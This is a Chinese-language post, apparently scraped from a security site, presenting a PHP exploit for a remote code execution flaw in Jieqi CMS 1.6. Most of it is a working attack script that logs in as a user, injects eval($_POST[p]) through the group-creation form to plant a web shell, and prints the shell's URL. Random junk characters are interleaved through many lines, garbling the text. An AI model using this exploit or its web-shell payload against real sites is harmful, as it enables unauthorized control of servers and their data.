杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
% s: _6 K9 T3 s0 T% n" l7 o/ L0 m" H5 C* {0 m% ^) D- ?# t. q6 P
4 U, Z- e, u0 f- q. a4 L
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
' s. S& I9 j3 v9 l9 \ 需要有一个能创建圈子的用户。
) x( ?/ ~9 R6 Y3 T$ s9 h8 z 3 x. I+ C5 n8 _6 I
<?php
0 d5 y$ W" t% _6 W' V% L $ D2 N K4 _. U# U& p# F
print_r('
2 m6 k8 q& W1 q: ~+---------------------------------------------------------------------------+ I8 ~1 W# Y, ^
Jieqi CMS V1.6 PHP Code Injection Exploit" O% h# M& T2 E& @/ R* [
by flyh4t; s0 ^" a8 I6 R
mail: phpsec at hotmail dot com0 T& U1 \+ U/ ]8 |4 R/ Q
team: http://www.wolvez.org
; m% T+ v/ y0 R; k l4 t+---------------------------------------------------------------------------+
. n: }& p: l: c! }8 `. B'); /**
. l: I( H1 B* ^! X * works regardless of php.ini settings
, S5 `8 H9 ~# U* [! A* v*/ if ($argc < 5) { print_r('3 x0 x7 u5 v6 [( I0 U4 ?0 g
+---------------------------------------------------------------------------+; _5 }/ W4 |+ c/ ^2 G' W) b
Usage: php '.$argv[0].' host path username
: D) \- h. N/ }: ohost: target server (ip/hostname)
% E" n9 A$ p7 B( @; l9 Vpath: path to jieqicms
5 e# u9 K x. a7 T& |1 }& _uasename: a username who can create group
0 Q6 b% U6 S) \3 c2 J: `- s {Example:
' V" Z- |- u( c# e* xphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password6 O8 Q; u. a4 N5 Y. S6 E
+---------------------------------------------------------------------------+- F/ `% O: i8 T
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961& p' {: ~( `: g5 E
Content-Disposition: form-data; name="gname"
1 E8 Z% e0 l1 ^, f `2 a$ R
5 d: y/ M& @" ]7 L% }) y) O'; $params .="';"; $params .='eval($_POST[p]);//flyh4t( D: x" G4 M: m/ ^6 [& n0 Y
-----------------------------23281168279961) C4 p4 i% g+ [3 l2 ?: N* X# P
Content-Disposition: form-data; name="gcatid"
$ S& J1 ?# Z- o C1 y& d * M6 i' J# ]3 { ?" y
1
* j* d+ B) R0 @0 o2 `5 S-----------------------------23281168279961: O% Y. O; I' K" _ r
Content-Disposition: form-data; name="gaudit"5 J2 _: Q7 b' ]6 g7 t. q
& t. D1 S2 F4 Q) i6 m) u
1; a; }7 b0 |8 l5 z3 a; Z
-----------------------------232811682799618 m- z2 v: H0 Y: b$ K
Content-Disposition: form-data; name="gbrief"2 Q8 K/ Z6 B' Z2 B
2 }. o4 ?" E4 ]' E5 \$ v" q1
9 v1 H1 K4 A! ]-----------------------------23281168279961--- ~$ O5 r1 X: E! h
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
: _4 l" o! \: R9 V
- J/ L/ r$ p; Y4 b! Ppreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |